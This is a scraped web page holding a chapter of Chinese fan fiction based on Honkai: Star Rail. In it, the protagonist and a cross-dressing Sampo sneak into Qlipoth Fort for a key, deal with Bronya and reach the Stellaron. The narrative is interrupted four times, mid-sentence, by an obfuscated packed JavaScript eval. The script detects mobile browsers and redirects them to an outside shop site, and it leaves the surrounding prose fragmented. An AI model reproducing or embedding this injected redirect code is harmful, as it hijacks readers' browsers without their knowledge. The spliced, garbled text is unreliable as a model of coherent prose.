而且这还不是普通的门锁。经过你的观察,门锁上绑定了警报器,一旦贸然使用□□,恐怕会在整个区域引发警报。 从门上越过去也不行——这里有设计精妙的存护立场,你无法通过投机取巧的方式越过门锁。 「存护」无疑是整个寰宇中最善于封印和铸造的命途,即使是你,也不得不在筑城者给贝洛伯格留下的宝贵遗产前暂避锋芒。 所以,从哪里搞到钥匙呢? 你放弃□□,悄声无息退回障碍物边。 那边,铁卫警惕地围绕着炸弹观察许久,就在他们准备将疑似的危害物转移走的时候,炸弹爆炸了。 炸成了一堆彩带,被风雪裹挟着,黏在银鬃铁卫的毛领和铁甲上。 “酷。”你小声对着桑博说,“但是有个坏消息:门上锁了,我打不开。” 你解释了一番为什么不能撬锁或□□,又问:“你知道哪儿能搞到钥匙吗?” 你看见桑博的眼睛转了转,过了一会儿,他向你伸出胳膊,示意你抓住。 你挽住他的胳膊,闭上眼,寒风狂暴吹拂的感觉消失,你们回到了温暖的室内。 桑博舒了口气,活动了一下冻僵的身体,“冻死我了冻死我了……外面的雪可真大,如果不是家人你的话,说天我也不会接下这委托的。” “这是……?”你看着周围的陈设。 “歌德酒馆。老歌德那家伙可抠门了,我可是动用了三寸不烂之舌,还有好几个人情,才从他手底下租了一套能长期使用的房间。”桑博打开房间里的衣柜,“家人,你不是说那门没法直接打开吗?我们只能先拿到钥匙。 “那扇门的钥匙不是放在银鬃铁卫的头儿那里,就是放在他们头儿的头儿哪里——没错,我说的就是大守护者大人。” 你看见衣柜里放着的都是各种各样的服饰……不对,为什么还有礼裙? 你睁大眼睛。 桑博还在继续说:“我们穿成这样可不能进去克里珀堡。那地方,只有近侍、官员,还有贵族们才能进去。” “所以?” “所以我们需要换一副面孔啊,家人!” 桑博从衣柜中拿下一件蓝白配色的蕾丝边礼裙——你看见了它镂空的背部设计,很美很精致,由蓝色的缎带束住,只需要勾住那带子用力就能直接把整件衣服脱下来。 你面无表情地说:“如果你要我穿那玩儿,我宁可去和银鬃铁卫们硬碰硬,一路打到「星核」面前。” 更别提它配套的皮质高跟鞋和皮毛绒带。 你难以想象那种东西穿在身上的质感。 你对于美貌没有追求,你宁愿穿你身上这件短袖短裙穿一辈子——相信「纯美」会理解你的选择。 “你误会了,家人。”桑博抱着衣服,朝你wink了一下,“这是我穿的。” 你浑身起了鸡皮疙瘩,警惕地看着他,空气中甚至出现了金光:“不管你是谁,立刻、马上,从桑博身上下来!” “哎呀哎呀,家人,别激动嘛。”桑博诚恳地说,“老实讲,扮演一位美丽的女士在某些时候,也能带来不小的便利呢。只需要抛弃一些固有的偏见……别担心,不会辣眼睛的,我老桑博精通变装之术,热衷扮演,保管会给您留下深刻印象!” 你怀疑地看着他。 他真诚地向你眨眼,抱着那堆衣服和鞋:“我扮演贵族小姐,家人您呢,就委屈一下,扮演一下……呃,丈夫?侍卫?弟弟?你自己选吧?” 你指了指自己:“我吗?我也要扮演?” “毕竟是要侵入贝洛伯格最坚固的堡垒嘛,肯定得做万全的准备不是。”桑博搓手,“我这里有好几件绅士穿的衣服,根据家人你选择的身份不同,我给你拿不同的配饰……放心家人,不会很奇怪的,我会根据你的身高……咳,选择那些适合你的衣物。” 在一开始的震惊之后,你发现自己接受度还挺高的。 你接过他递给你的衣物:“你不会经常变装,干一些不正经的勾当?” “哎呀,说什么呢。优雅的女士怎么会做不正经的事?”桑博的声音已经变得婉转而动听,你忍住回头的欲望,转身进了卫生间,决心不再嘴贱跟他搭上任何一句话。 ——你输了。 这真是一场惨败,你输的彻底彻底。 你不得不承认,桑博变装是真的有两下子。面前深蓝色长卷发的女士笑意盈盈地看着你,又高又……大,那蕾丝边礼裙简直没有比眼前之人更适合的主人,完全将优越的身材、白皙的皮肤和姣好的相貌等等优点凸显出来。 “你真好看。”你脱口而出。 哎,你的自制力被你的冲动完全打败了。面对这样的大姐姐,不臣服在她的裙底简直是一种不知好歹。 该死,这人变装之后的模样完全踩在你的XP上! 他被你逗笑了,笑声清脆悦耳,让你心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285787|198427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神荡漾。 你迅速转头,逼迫自己冷静。 想想他原来的样子,想想他原来的样子…… 哎,原来的样子也很好看,但你为什么偏偏抵挡不住他女装的样子呢?难道是因为看的太少,你还不习惯? 你试探性地回头。 绿色的眼睛比你收集到的所有绿宝石都要漂亮,锋利的棱角变得柔美,这个颜色的口红……很适合她…… 你转过头。 抱歉,习惯不了。 他走到你身边,你下意识后退。 但是并没有什么后退的余地——这间房间没那么宽敞,你后面就是床。 好在他停了下来,一双狗狗眼垂下来,似乎为你的下意识拒绝感到受伤:“怎么了吗,亲爱的?” 你感觉自己对这位美人犯下了很糟糕的罪过。你怎么能后退?退半步的动作多么伤人,你难道不知道吗?面对如此一位高贵、优雅、成熟的美人,你怎么能舍得让她伤心! 冷静点,你脑袋里的另一个声音,想想他的真实性别,想想他掏出来有多大—— 你冷静下来了。 “你不知道吗?我对女人过敏。”你说,“所以在接下来的行动中,我们必须约法三章。” 桑博好看的眉毛蹙起来,安静地等你说完话。 你发现女装的他比起正常的他还能装。 你清了清嗓子:“首先,只有我们两个人的时候,你必须正常说话。” “正常说话……是这样吗?”桑博慢慢地说,你感觉他的声音里带着可疑的柔情蜜意。 “不是,正常说话不是语调正常,而是声音正常。”你说,“拿出你平常兜售商品的语气跟我说话!” “哈哈哈,好吧,这个声音怎么样?都按家人喜欢的来。” 你缓缓竖起大拇指。 很好,正常了! “第二,你不可以靠我太近。” 桑博满脸受伤:“男生可以,女生就不可以吗?” “我什么时候说男生可以……算了,总之,我们要保持正常的社交距离,男女授受不亲!”你严肃地说,“尤其是,桑博女士,你还是这么优雅的一位贵族小姐!” “贵族夫人,布鲁海尔·波桑夫人。”桑博纠正道,“而且,就算是贵族也不用和自己的丈夫保持距离,布鲁海尔·塔塔洛夫先生。” “……原来垃圾之王塔塔洛夫是我吗?” “这只是个姓氏,如果你喜欢别的名字,我们随时可以换,亲爱的。” “你违反了我们约法三章的第一条,波桑女士。” “哦,我为我的疏忽大意道歉。那么,第三条是?” “没人规定约法三章一定有三条,准备好了就走吧,偷到钥匙就结束这场该死的扮演,这皮鞋里的增高垫让我很难受。”你整理了一下衣领,“贝洛伯格的贵族为什么要穿这种皮鞋?” “呃,怪我,怪我。”桑博移开目光,“我们的身高要是太悬殊,会引来不必要的注视……所以我给你准备了超增高的鞋。有阵子,这东西在上层区买的可好了,很受成年男士的欢迎,差点脱销……” 在你的仰头瞪视下,他的声音越来越小。 10. 贝洛伯格 你接受了现实。 没办法,你确实很矮——只是相对而言! 加上这家伙不肯放弃他的高跟鞋,你也就只能配合他,把自己伪装得稍微高一点。 你们很顺利地混了进去。奇怪的是,你发现,贝洛伯格真的有塔塔洛夫这个贵族姓氏——所以,他又冒用了谁的身份? 你不在乎。你的脸平凡且无任何记忆点,桑博则拥有在不想引人注意的时候缩小存在感的能力,这也是他为什么总能以相同的面貌取得人们的信任的原因——总之,你们现在进入了克里珀堡。 这座以「存护」星神为名的堡垒不愧于名,内部宏大敞亮,下层是大守护者接待客人、管理政务、与大臣会谈的大厅,而上层是大守护者的房间。 你其实根本不知道大守护者住在哪里,全程都是桑博带着你走。 金牌向导真是什么都知道呢。 其实和他一起行动很愉快,因为他从来不会对你的决定多加置喙,仿佛真的是要回报你在铆钉镇救他一命的恩情。 “大守护者就住这里?”你小声问他。 你挽着……他挽着你的手,微微俯身,贴着你的耳朵:“历任大守护者都出自兰德家族的。这里是兰德家族的领地……啊,亲爱的,你刚才说什么?” 听见他突然转变的音色和浮夸的语调,你就知道有人来了。 “我说,你的眼睛比贝加纳湖的盐晶还要美,亲爱的。”你半是假意半是真心道,“难怪让我看了一眼就溺于其中,余生无法忘怀……” 走过来的侍卫打了个哆嗦。 啊,上个班还要吃这些没事干的贵族老爷夫人们的狗粮……克里珀在上,能不能把这些人都拉过去打灰,消耗一下他们无处安放的浪漫气质啊? 不过,贝加纳湖在哪儿?这里哪儿有没结冰的湖啊……小说里的吗? “亲爱的,你说话真甜~ 呃,他走远了。话说,贝加纳湖是哪儿?我老桑博在贝洛伯格混迹这么多年,从来没听过这个地方。” “没听过就对了,那是我编的。”你说,“你看,前面那是不是就是大守护者的房间?” 桑博略看了眼。 “十有八九。”他拉住你的手,“快点快点,被看见就完了——” “——慢点!我受够这该死的增高鞋了——” “家人,多练练,总有一天你穿着高跟也会如履平地的,就像我这样!” 你们闪入门中,没有引起注意。 你松了口气,环顾了一下四周的环境。 桑博在你旁边碎碎念:“说真的,我老桑博还没试过潜入大守护者的房间,那可是大守护者!这可真够刺激的……咦,现在看来,这地方和普通人住的地方也没两样啊?也就东西精致点,装饰值钱点…… “话说,我的任务可是完成了哈,接下来的事情我可就帮不上忙了。”桑博走到镜子前欣赏自己,“房间里能藏东西的地方这么多,你要怎么找到钥匙呢?咦,那不是我酒馆里的……” “山人自有妙计。”你拿出你从桑博酒馆里顺的那枚骰子,将骰子抛出。 你还有件东西异于常人,那就是你的运气。在矿洞里挖矿的时候,各种宝石就争先恐后地往你身上砸,你觉得骰子在面临抉择的时候也能给你带来点帮助。 十六面骰,代表十六个方向。骰子在地板上骨碌碌地滚,最终停在了一个数字上。你看向它代表的方向——是一副画,画着一对母女。 应该是兰德家族的吧,你想,上手摸了摸画框。 ——你失败了。你没能找到任何可称为机关的地方。 坏了,怎么和小说里写的不一样? 正当你一筹莫展的时候,桑博从你背后伸手,你眼睁睁看着他指尖动作间,画框发出了轻微的咔哒一声,露出了内部的空间。 你:“……” “术业有专攻,家人。这种事情还是让我老桑博代劳吧。偶尔,我也可以兼职一下寻宝猎人。”桑博说,将画框后的小盒子拿给你。 那是个小巧的机关锁。这并不需要花什么力气,你很快就凭借对机械的熟悉打开了锁,露出里面的信封和钥匙。 要是永冬岭的门锁也像这里的那么简单就好了,你想,拿起了那枚信封。 “咦。”桑博看着信封,“这好像是给希露瓦的……等等,外面有人!” 不用他提醒,你也听见了脚步声。 而且还越来越近了。 你眼睛瞟到屋里唯二能藏人的地方——衣柜,另一个选择是床底,在黔驴技穷之前你是绝对不会去的——钻了进去,然后把桑博拉了进来。 大守护者的衣服实在是太多了,挤压着你们的空间。 但好在你还是趁着外面的人开门进来之前合上了衣柜门。 衣物间有股甜甜的香味——你知道这是某种用于洗涤衣物让它变柔顺的香料,你在娜塔莎那里见到过——除此之外,就是从你面对的这人身上传来的高级香水味。 桑博选择香水的品味极好,你能闻出前调和后调的区别,但这种优雅的品味放进逼仄的小空间里无疑变成了一种折磨。 原因无它,它的存在感实在太强了,丝丝缕缕地往你鼻子里飘。 而且,你拥有极好的目力和在黑暗中视物的能力……此刻它们可成了让你坐立难安的源头之一。你只要一睁眼就可以看见怼在你眼前的绝佳好身材,即使你知道那是假的,但它毕竟怼在你眼前……说真的,真的有人能在这种情况下忽视这玩意吗? 反正你不能。 最要命的是,桑博似乎觉察到了你的目光,在这种情况下!这种外面有人的情况下! 居然还凑到你的耳边问你:“家人……你好奇这个? “这是我从剧团弄来的,哎,用来表演的东西总是花哨又实用——包括这种乳胶胸垫。看在你是恩人的份上…… “50信用点,随便摸!” 你绝望地闭上眼,尽量小声地咬牙切齿:“桑博·科斯基!你忘了我们的约法三章吗!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285788|198427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“哎呀,事急从权,事急从权……毕竟现在外面现在有人呐。要是你真的过敏的厉害,我也是可以牺牲一下,出去帮你吸引火力的……” “别!”你放在他身侧的手下意识锢住他,“你疯啦,别出去!” 这个糟糕的举动无疑让你们的距离贴的更近了,你感受到假体的柔软触感挤压着你的身体。 你深吸一口气。 你对你的身体没那么了解,你知道它强悍无比,能承受住矿底的无氧环境和压力,但你不知道它在遇到刺激之后会不会流鼻血。 布鲁海尔小姐……夫人,真的太可怕了,你想,你根本不是对女人过敏(怎么可能对这种美好的事物过敏?),你是对布鲁海尔夫人过敏。 还好没有。你的身体比你想象中的还要强悍,竟能直视波涛汹涌而面无色变。 外面的脚步声已经进到屋内,你听见一个清越的声音带着疑惑响起:“母亲?你在这里吗?” 是谁?你想起画像上被抱着的可爱女孩。是现任大守护者的女儿? 没有人回应她。你听见自己和桑博的呼吸声,唇鼻之间吐出的气息令人难堪地在逼仄的空间中缠绕在一起。 你努力仰起头,盯着他的眼睛,努力幻想他男装时的模样。 这对你的窘境的毫无帮助。因为无论是波桑还是桑博,他们的眼睛都毫无疑问是他们最迷人的地方,没有人能拒绝这双眼睛。 “别动。”你感到他的手有动作的迹象,警告道。 “别紧张。”他说,手从后面托住你的后脑勺,“你太往后仰了……碰见衣架会发出声音。” 你不说话了,心想外面的人怎么还没走。 好在,在你的虔诚祈祷下,外面的人呼唤无果后,便走了。 你松了口气,忙不迭打开衣柜走出来。 真要命!拿这个考验干部,哪个干部经得起这样的考验? “哎,受苦了,家人。”桑博的声音带着惋惜,“过敏很难受吧?你的脸红了一大片。不过还好,钥匙拿到了——那封信你打算怎么办?” 你心情不太美妙,努力不去看镜子里的自己,“找个邮筒随便投了。现在赶紧走,直接去永冬岭!” 你现在很想打架,不找几个虚卒或者裂界造物大卸八块,你的怒火……或者别的什么?是不会平息的。 你贴着门,听了听门外的动静——没有脚步声,很好,便招呼桑博打开了门。 一打开门,漆黑的枪口就对准了你们。 “……啊哦,有话好好说,别举枪啊。”桑博举起手,即使是在这种情况下,也一秒进入了演戏的状态:“看来没法轻易走掉了呢,亲爱的。” 布洛妮娅站在门外,手握狙击枪,视线在你们两个身上扫过,“你们两个……擅闯克里珀堡,窃取机密,现在束手就擒,大守护者会给你们带来公平的审判!” “现在怎么办,恩人?”桑博对着你小声道,“要不我们招了吧?我跟你说,其实这里监狱的伙食挺不错的……” 11. 贝洛伯格 你懒得理他,走上前:“小姐,你不应该一个人来抓我们的。” 布洛妮娅升起危机感,下意识就要开枪,你先她一步握住她的枪管,琥珀般的结晶从你的手上蔓延到她的枪口,又顺着枪管蔓延到她的手乃至身体上,让她动弹不得。 “来点莫名其妙的东西把她弄晕,波桑!” “啊,老公,人家身上哪儿放着那么奇奇怪怪的东西……呃,好吧,我有,我有,别瞪着我了,家人。” 在你杀人般的目光下,桑博掏出了一颗烟雾弹。 布洛妮娅想屏住呼吸,但是晚了——烟雾散开,她的意识模糊下来,身体软倒,你及时扶住了她。 “走走走。”你弯下腰,手一提,将布洛妮娅扛到肩上,“现在没人,是时候贯彻开拓之道了——使用你的特殊能力吧,老桑博!” “就这么到下层去?我衣服还没换呢!而且,这能力也不是想用就用——连无名客都知道通过锚点传送!”他抱怨归抱怨,还是伸手拉住你。 你闭上眼,熟悉的失重感觉过后,你们回到了下层——歌德大饭店。 “所以,你不仅定了上面那个老歌德酒店的房间,还定了下面这个?”你把布洛妮娅轻轻放在床上。 “呃,哈哈哈,这叫投资资产嘛,一两栋安全屋总是有利于交易……和逃亡的。”他说,“我要去换衣服了,家人,你真不摸一下?给你免费啊!捏一下也行,说实话,这玩意手感挺好的……” 你必须承认,即使在你现在所拥有的力量中,存护的部分占大多数,然而,开拓的好奇心却在其中拥有最大的影响力。 你两辈子都没摸……捏过硅胶做的这玩意,你知道硅胶的手感,毕竟你十分擅长制作物品、构筑建筑,熟知所有材料的质感与用途是基本功——然而,形状竟然能对材质产生如此大的影响,不,也许并非形状,也许只是因为它在波桑小姐的身上,所以面对邀请你才如此纠结,仿佛天人交战。 你闭上眼睛捏了一把。非常抱歉,你的节操——也许这种东西在你开始接触「欢愉」的时候就已经不存在了。 嗯,非常柔软的手感。一想到这么美丽的波桑小姐胸口的只是无生命的硅胶,就让你不由心生遗憾。 “……50信用点,我会转给你的。”你恋恋不舍地松开手。 拜拜了,波桑小姐,十分钟之后,她就会消失不见。 “咦,你也太客气了吧,第一次见免费还要给钱的。”桑博踩着高跟鞋转身进入里屋,“你打算拿那姑娘怎么办?哎,当时事态紧急,还没来得及告诉你,那女孩的身份可不简单。 “她是现任大守护者可可利亚·兰德的独女,布洛妮娅·兰德,大守护者的继任者,银鬃铁卫统领。我知道你是不想惹麻烦才把人弄回下层,但她的失踪,恐怕会惹来更多的麻烦哦?” “无所谓。”你说,“上层与下层封闭许久,这里有没有银鬃铁卫,她就算是想找人抓我们,也没有帮手。不过,我们最好在大守护者发现钥匙丢失之前接触「星核」,免得他们加强防护。” “不,我说的不是这个……”桑博出来了,“欸,家人,你那是什么表情?我怎么感觉……你很遗憾啊?” 你错了,不需要十分钟,他变装的速度超乎你的想象——仅仅两句话的事件,波桑小姐就消失不见,变成了你熟悉的桑博·科斯基。 你叹了口气。 “呃,虽然很不舍得……但如果恩人你喜欢的话,那硅胶胸垫……也可以送给你啊?”桑博说,“尺码确实不适合你,但平常当枕头枕,也是蛮软的……欸,君子动口不动手!” 你忍无可忍地朝他的屁股踹了一脚。 他捂着屁股:“家、家人!有话好好说!我刚才是想说,你要把这女孩放到哪里去?不会就这么把她丢到酒店里吧? “你想想啊,她可是上层来的人,下层人有多久没见过上层人了?万一她出去嚷嚷,说她是什么大守护者的继任者……下层人对大守护者可都没什么好印象,绝对会闹出大麻烦的!” “这倒的确是个问题。”你点点头,“你觉得把她送到「地火」那儿怎么样?虽然问题是我们制造的,但事已至此,已经不是我们能解决的了的。‘责任外包’——天塌下来有高个子顶着,我觉得希儿小姐会愿意在百忙中抽出时间处理这事儿的。” “家人啊,你可真是……”桑博被你的事不关己的态度震惊,“不是,你忘了她看见你的脸了?她要是把你供出来怎么办?” “好办啊。”你露出微笑,“我就说我收到了桑博·科斯基的蒙骗,险些为那可恶的蓝毛骗子背锅,成了绑架大守护者继承人的凶手!——你猜希儿会信谁?” 桑博的狗狗眼瞪大了。 “开玩笑的。”你耸耸肩,“该拿她怎么办,我觉得还是问问当事人的意见比较好——你说对不对啊,装睡的兰德大小姐?” 没错,你早就察觉到她在装睡。还好她没有在你们谈论柔软话题的时候醒来,不然你不知道你会做什么——也许你会把她的记忆抽出来,让她失去这段时间的记忆? 你从不怀疑你的潜力。毕竟人在羞耻的时候什么都做得出来。 床上的布洛妮娅睁开眼睛。 “你们……究竟是谁?这里,是下层?你们是怎么把我带过来的?你们想做什么?你们为什么要潜入母亲大人的房间?” 你和桑博差点被一连串的问题砸懵。 “停之,停之。”你用手臂在胸前画了个“叉”,“这么多问题,你为什么不改名叫问题小姐?” “就是就是!呃……不是。”被瞪了的桑博声音弱下来,小声问你,“伙计,她为什么只瞪我不瞪你?” “有点自知之明行吗?你比我看起来可疑多了。”你说,“咳,先别着急问问题,问题小姐。我们不是故意要把你搞到这里来的,我们也是不小心的。” 你无视桑博“故意不小心的?”的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285789|198427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咕哝,诚恳地编道:“如你所见,我们来自下层。你可能会想问,炉心已经被封锁,我们是怎么自由穿行的?作为不那么守规矩的行商,我的回答的是,商人总有自己的方法。但我们除了往下层运送缺少的物资——药品、书籍、食物……地下和地上已经隔绝太久,人们的状况远比上层人想象中的糟糕。” “运送物资?那你如何解释你们出现在克里珀堡?” 布洛妮娅的神色有所缓和,但警惕依旧。 “是因为「星核」。” 你捕捉到了布洛妮娅一瞬间的表情变化。她果然知道这东西的存在。 “现在的大守护者已经背弃了「存护」。”你说,“我可以理解,毕竟看不见希望的日子的确难捱……不过,我不可能代替别人理解她。贝洛伯格的一切灾难,皆来自于「星核」。 “它制造裂界,怪物自裂隙中爬出,让银鬃铁卫以生命为代价换取片刻安宁。它制造寒潮,使人们的生存圈逐渐减缩小,使上下层被迫分离,直到整个贝洛伯格文明被埋葬于冰雪之中。” “不可能,母亲大人她……” “如果不相信我说的话,就亲眼出去看看吧。”你打断她,“不过,我得提醒你,别透露自己来自上层,也别说起「星核」。轻易打破别人的梦境,如果没有绝对的实力,会被群殴的。 “我和这位科斯基先生潜入大守护者的房间,就是为了找到被大守护者封锁的、有关「星核」的线索。 “好了,去玩吧,诺,你的枪。别再随便用这玩意指着人了,怪吓人的。”你说。 布洛妮娅坐在床上,低头沉思。 “我们走吧。”你拉住桑博,“这么大的信息量,让问题小姐先适应一下吧。” “欸,欸——”桑博被你拽走,“就这么走了吗?你确定不跟「地火」那边通个气?希儿姑娘绝对会生气的!” “没关系,这事儿是波桑干的,跟你又没关系——人要学会跟过去的自己切割,知道吗?” 男女打闹的声音渐渐远去。布洛妮娅望着你们离开的方向,发了会儿呆。 她脑海中闪现过去与母亲一起时候的种种画面。然后是更远的过去……上下层还没封锁之前……孩童的笑声与交握的手…… 她呼出一口气,神情变得坚定了些,握紧了枪,大步走出了房门。 . “呃,我觉得我们还是和奥列格说一声——你在做什么?” “给娜塔莎发消息。”你从手机屏幕中抬起头,“你别告诉我,你不知道她才是「地火」真正的老大。” “啊哈哈,呃,家人,你真是聪慧过人,明、明察秋毫!”桑博目移,“我不是故意不告诉你这件事的哈,主要是娜塔莎老大喜欢低调……” “没事,都是哥们儿,别在意这种小事。”你抓住他的手臂,“现在快走吧,夜晚来临之前把事情解决,也许我们还能赶在歌德大饭店的晚餐时间结束之前坐下来共进晚餐。” 12. 贝洛伯格 依旧是风雪。 银鬃铁卫忠实地守在他的岗位上,无论午后或夕阳。 自下午被戏耍之后,他们好像更警惕了。而且,你还在其中看见了熟悉的身影。 那位帅气的戍卫官,在风雪中唯一没有带厚重头盔的男人,正带着银鬃铁卫巡逻。 你注意到,他时不时拿出来摆弄的那架吉他盒,上面镌刻的力场防御装置让你感到熟悉——显然,那是希露瓦的手笔。 说起来,你还没把信投到邮筒里。 这封不知是出于何等考量未能寄出的信,显示了希露瓦和那位大守护者大人非同一般的关系。但是管他呢,你不在意。 你只是对她弟弟的谨慎和敏锐感到头疼。 “你就是一直在和这样的人打交道?”你啧道,“作为逃跑的那方,真是难为你了。” “嗐,都似为了生活……接下来怎么弄,伙计?” “是时候执行我们的PlanB了。”你朝他挤了挤眼睛,“上吧,桑博。” “欸欸?不是,好家伙,我们什么时候有的PlanB……等等,别踢我屁股!” 你一脚把他踹出了墙垣。 抱歉了,桑博的屁股。你在心里道了声歉,为那挺翘而又优雅的弧度。 你现在知道「纯美」为何失踪了。人人对于美的定义皆有不同,有的高雅,有的低俗,有的真诚,有的虚伪。想要统一它们,实在是一件麻烦事,不如将烦恼丢给别人。 毕竟,星神的一念便可使寰宇的无数生灵沉浮。考虑因果计较得失实在太累,不如卸下那过于沉重的担子,游戏人间——「阿哈」不就是这么做的? 以上都是你瞎想的。毕竟你从来没真正了解过任何一位星神。 被你踢出去的桑博手臂在空中挥舞了几下,试图平衡住自己的身体,让自己免去狗吃屎的命运。 他失败了。毕竟命运是很难更改的。 他在杰帕德面前摔了个狗吃屎。 作为他的同伴,你为他感到痛惜。但伟大的事业总有牺牲,你相信他会理解你的。 “哎呦喂!”他一骨碌从雪上站起来,“这不是戍卫官大人吗?” “桑博?”杰帕德皱着眉看着面前的人,“你到这里来做什么?” “呃……”桑博不动声色往你那个方向瞟了一眼。 你正贴着墙角小心地挪动,对上他的视线,你挤了挤眼睛。 “……啊哈哈,这不是,觉得各位铁卫辛苦,来给你们送点补给嘛。”桑博满脸堆笑,搓着手,不知道从哪儿拿出一大包东西,“你们可是守护城市的英雄啊!身为市民,我……” “少油嘴滑舌。”杰帕德将吉他盒往地上一砸,扬起一阵雪花,“你擅闯铁卫禁地,妨碍前线工作,拿下!” “呃呃呃,别这么冲动,动口不动手啊,大人!” 你已经摸到了门锁前。 OK,钥匙匹配——锁咔哒一声开了。 你朝着桑博比了个大拇指,闪身进了门……给他留了门。 “这些东西真的是我受人所托,带给诸位的一点心意啊!”桑博眼泪汪汪地半跪在地上,将那一大包东西递给杰帕德,“都是民众带给大家的,各位大人……应该不会拒绝吧?” 杰帕德心中犹疑更甚。这惯犯从来都是躲着他走,今天怎么跟转了性一样,主动碰瓷他? 不对劲,十分有九分的不对劲。 然而,他身旁的副官已经动摇:“长官,这东西毕竟是民众送来的,就算不合规矩,毕竟也是他们的一片心意……要不,我们收下吧?” 桑博眼睛一亮,“这位大人说的极是啊!哎,杰帕德长官就是太害羞了,不好意思接受。再怎么说,大家的心意是好的……” 他一边说着,一边拱上前,将包裹塞给副官。 “这……”副官被迫接下,看着是桑博一脸讨好的笑,叹了口气,转向杰帕德:“长官,你看……” “等等,别碰那包裹!”杰帕德瞳孔一缩,刚要阻止,但已经晚了。 包裹里面有什么东西在蠕动,副官吓了一跳,将包裹扔在地上。白色的烟雾从袋口溢出,顷刻间将几位银鬃铁卫们包裹,在呛人的烟雾中,杰帕德听见那可恶的小偷带着笑意的声音: “诸位长官,不好意思,浪费了你们宝贵的时间。那么,我就先走了——顺带一提,那包裹里面真的有好玩的东西哦!可别错过了!” 情急之下杰帕德只能开启自己吉他盒上的力场防御机制,然而,那蓝头发的人影已经消失不见了。 从烟雾中跑出来的几人神情都不太好。周围只有风雪,还有依旧放在地上的包裹,仿佛在嘲笑着他们——除此之外,脚印、气息,统统没有。 “长官,现在怎么办?”副官小心翼翼地问。 杰帕德叹了口气。 “把那东西捡起来吧。” “是、是。” 这小偷有时候很没下限,有的时候又挺有原则。他说那包裹里是民众的心意,八成真是。 但是……他为什么要用这种方式把东西给他们?杰帕德感觉有什么地方不对劲,但是又说不上来。 然后他猛然想起早些时候,在这附近巡逻的铁卫遇到的突发情况。 也是一个能喷出彩带的炸弹,看起来像是谁的恶作剧…… 那也是桑博干的? 他盯上了这里的什么? 杰帕德环视一圈,目光停在了通向永冬岭的大门上。 . “干的不错,桑博同志。”你夸赞道,“为我们深入敌后争取了宝贵的时间。” “哈哈哈,家人,您过誉了。这都是我老桑博应该做的,应该做的嘛。” 你们此时已成功进入永冬岭内部。 越往禁区边缘走,天气就越冷,雪花也更密。 你看见了游荡的造物。 说真的,它们不累吗? 你挥动匕首,将他们一一斩成碎片。 你最近迷上了匕首这种武器。小巧、轻便、优雅、锋利——好吧,也可能只是单纯因为用顺手了。 你手上这枚匕首是用虚数能量凝聚而成的。比起桑博那两柄,它更质朴也更厚重,琥珀的质地在映照出敌人身影的同时,其上的光芒也照亮了你的脸庞。 桑博站在后面看你杀气四溢地砍虚卒,打了个哆嗦,只觉得你今天似乎格外暴躁。 随 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285790|198427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着你们离星核越来越近,你也感觉到空气中的虚数能量越来越浓郁。一般来说,虚数能量在裂界与现实的交汇处最为活跃与混乱,反物质军团所穿越的裂界缝隙就是一例。星核附近也会出现逐渐侵蚀裂界的缝隙。 你过三关斩六将,并不觉得疲累,反而桑博在你身后气喘吁吁:“家、家人,我们就、不能,换种方式进去吗?” “你有什么意见吗?” “哈,那,自然,是没有。但是,绕、绕过他们,潜入、不会、更快,吗?” 你斩落一名造物的头颅,收刃,反身抓住桑博的手。 “欸,欸!家人,你要干什么!呃——” 你把他抗在了肩上。 “嫌风大就别说话。”你说,“就快到了。” 你能感觉到「星核」就在前方。 桑博在你肩膀上,头和双手垂下,好像有一丶死了。 终于,你看见了那东西的模样——足矣毁天灭地的灾厄之源,本体却长得像个一手就能捏碎的光球。 你把桑博放在地上,他原地干呕了几声:“呃……这感觉可真刺激……啊哈哈,没有说你车技、我是说,手法不好的意思,家人。这玩意就是「星核」?长得和那什么,岁阳似得。” 你站在它面前,眯着眼看着它鼓动收缩的频率:“确实看着挺乖。别蛄蛹了,说点什么,我知道你有和智慧生命沟通的能力。” 光球颤抖了一下。 『你……回来了……』 你怔了怔:“你认识我?” 『……寒潮……是……阿丽萨·兰德的……愿望。』 